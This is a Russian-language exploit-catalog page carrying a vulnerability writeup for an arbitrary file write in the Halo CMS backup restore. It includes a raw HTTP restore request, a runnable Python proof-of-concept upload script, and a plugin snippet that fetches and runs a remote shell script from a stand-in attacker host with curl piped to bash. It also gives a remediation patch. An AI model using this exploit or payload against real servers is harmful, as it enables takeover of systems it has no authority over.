Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Эксплойт для проверки концепции уязвимости произвольной записи файлов при восстановлении резервной копии Halo CMS, позволяющий выполнить код (RCE) через замену JAR-файла плагина или обход аутентификации. | Kitploit
Инструменты/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Эксплойт для проверки концепции уязвимости произвольной записи файлов при восстановлении резервной копии Halo CMS, позволяющий выполнить код (RCE) через замену JAR-файла плагина или обход аутентификации.

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость произвольной записи файлов при восстановлении резервной копии Halo CMS

Краткое описание

Критическая уязвимость произвольной записи файлов существует в функциональности восстановления резервных копий Halo CMS версий до 2.25.4. Метод restoreWorkdir() в MigrationServiceImpl.java копирует каталог workdir/ из предоставленной пользователем резервной копии ZIP непосредственно в рабочий каталог приложения Halo (~/.halo2/) без какой-либо проверки типов файлов, защиты от обхода пути или проверки символических ссылок. Аутентифицированный злоумышленник с правами управления резервным копированием может создать вредоносный ZIP-файл резервной копии, содержащий произвольные файлы в каталоге workdir/, которые будут записаны в рабочий каталог сервера при восстановлении, что потенциально может привести к удалённому выполнению кода (RCE) через замену JAR-файлов плагинов или обходу аутентификации через замену RSA-ключей.

Оценка CVSS v3.1: 8.8 (Высокая)
Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE-73 (Внешний контроль имени файла или пути)


CWE:

Затронутые версии

  • Halo CMS ≤ 2.25.4
  • Все версии с функциональностью восстановления резервных копий

Детали уязвимости

Корневая причина

Уязвимость находится в методе restoreWorkdir() файла MigrationServiceImpl.java (строки 230-243):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // УЯЗВИМАЯ СТРОКА
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Метод copyRecursively() (Spring FileSystemUtils) выполняет рекурсивное копирование без:

  1. Проверки типа файлов — нет проверки расширений файлов или MIME-типов
  2. Защиты от обхода пути — нет проверки последовательностей .. в именах файлов
  3. Обнаружения символических ссылок — нет проверки символических ссылок
  4. Ограничений размера файлов — нет ограничений на размер файлов
  5. Защиты от перезаписи — молчаливая перезапись существующих файлов

Вектор атаки

Уязвимость срабатывает через конечную точку восстановления резервной копии:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

Процесс восстановления выполняется в следующей последовательности:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Извлечение ZIP во временный каталог    │
│  2. restoreExtensions() → Восстановление extensions.data    │
│  3. restoreWorkdir() → Копирование workdir/ в ~/.halo2/     │
│     ↑ Произвольные файлы записываются в рабочий каталог     │
└─────────────────────────────────────────────────────────────┘

Структура вредоносной резервной копии

Вредоносный ZIP-файл резервной копии должен содержать:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Обязательно: может быть пустым или содержать корректный JSONL
└── workdir/                 # Обязательно: содержимое копируется в ~/.halo2/
    ├── PWNED_BY_POC.txt     # Маркерный файл для подтверждения концепции
    ├── plugins/             # JAR-файлы плагинов для RCE
    │   └── evil-plugin.jar  # Вредоносный плагин
    └── keys/                # RSA-ключи для обхода аутентификации
        ├── pat_id_rsa       # Вредоносный закрытый ключ
        └── pat_id_rsa.pub   # Вредоносный открытый ключ

Формат extensions.data

Файл extensions.data должен быть корректным для успешного выполнения restoreExtensions(). Допустимые форматы включают:

  1. Пустой файл: (пустое содержимое)

  2. Пустая строка: \n (только перевод строки)

  3. Корректный JSONL: один объект ExtensionStore в строке:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Где data — содержимое в кодировке base64.


Шаги эксплуатации

Предварительные условия

  • Аутентифицированный пользователь с правами управления резервным копированием
  • Сетевой доступ к API Halo

Шаг 1: Создание вредоносной резервной копии

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Пустой extensions.data (проходит проверку restoreExtensions)
    zf.writestr('extensions.data', '\n')

    # Произвольный файл для записи в ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Произвольная запись файла подтверждена!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Шаг 2: Загрузка вредоносной резервной копии

Адрес управления резервным копированием во фронтенде: http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<Двоичное содержимое ZIP-файла>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Шаг 3: Проверка записи файла

root@kitploit:~
# На сервере Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Анализ воздействия

Прямое воздействие

  1. Произвольная запись файлов: Злоумышленник может записать любой файл в ~/.halo2/
  2. Перезапись файлов: Существующие файлы молча перезаписываются

Сценарии эскалации

Вектор атакиЦелевой файлВоздействиеСерьёзность
Замена JAR-файла плагина~/.halo2/plugins/*.jarУдалённое выполнение кодаКритическая
Замена RSA-ключа~/.halo2/keys/pat_id_rsaОбход аутентификацииКритическая
Замена темы~/.halo2/themes/*Хранимый XSSВысокая
Перезапись конфигурации~/.halo2/*.yamlОбход средств безопасностиВысокая

RCE через замену JAR-файла плагина

Злоумышленник может заменить легитимный JAR-файл плагина вредоносным, содержащим:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Выполнение произвольной команды
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

При загрузке плагина вредоносный код выполняется с правами процесса Halo.


Подтверждение концепции

Python-скрипт PoC

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Уязвимость: Произвольная запись файлов при восстановлении резервной копии
CVSS: 8.8 (Высокая)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Произвольная запись файла при восстановлении резервной копии Halo подтверждена!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Статус: {r.status_code}")
    print(f"Ответ: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] УСПЕХ! Проверьте: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

Проверка

root@kitploit:~
# Выполнение PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# На сервере Halo
cat ~/.halo2/PWNED_BY_POC.txt

Устранение уязвимости

Рекомендуемое исправление

Добавьте проверки в метод restoreWorkdir():

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Проверка отсутствия обхода пути
                checkDirectoryTraversal(backupRoot, workdir);

                // Проверка отсутствия символических ссылок
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Символические ссылки не разрешены");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Копирование с проверками
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Дополнительные рекомендации

  1. Внедрите подпись резервных копий: Криптографическая подпись резервных копий для предотвращения подделки
  2. Добавьте белый список типов файлов: Разрешайте только определённые типы файлов в workdir
  3. Внедрите ограничения размера файлов: Ограничьте максимальный размер файлов
  4. Добавьте журналирование аудита: Регистрируйте все операции восстановления резервных копий
  5. Требуйте повторную аутентификацию: Требуйте подтверждение пароля для восстановления резервной копии

Ссылки

  • Поставщик: https://github.com/halo-dev/halo
  • Затронутый код: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • Калькулятор CVSS: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Хронология

  • Дата обнаружения: 2026-07-10
  • Уведомление поставщика: [Ожидается]
  • Публичное раскрытие: [Ожидается]

Авторы

  • Обнаружил: LIAN

Отказ от ответственности

Данное раскрытие уязвимости предназначено исключительно для исследовательских целей в области безопасности. Автор не несёт ответственности за любое неправомерное использование этой информации. Всегда получайте надлежащее разрешение перед тестированием систем на уязвимости.

Скачать инструмент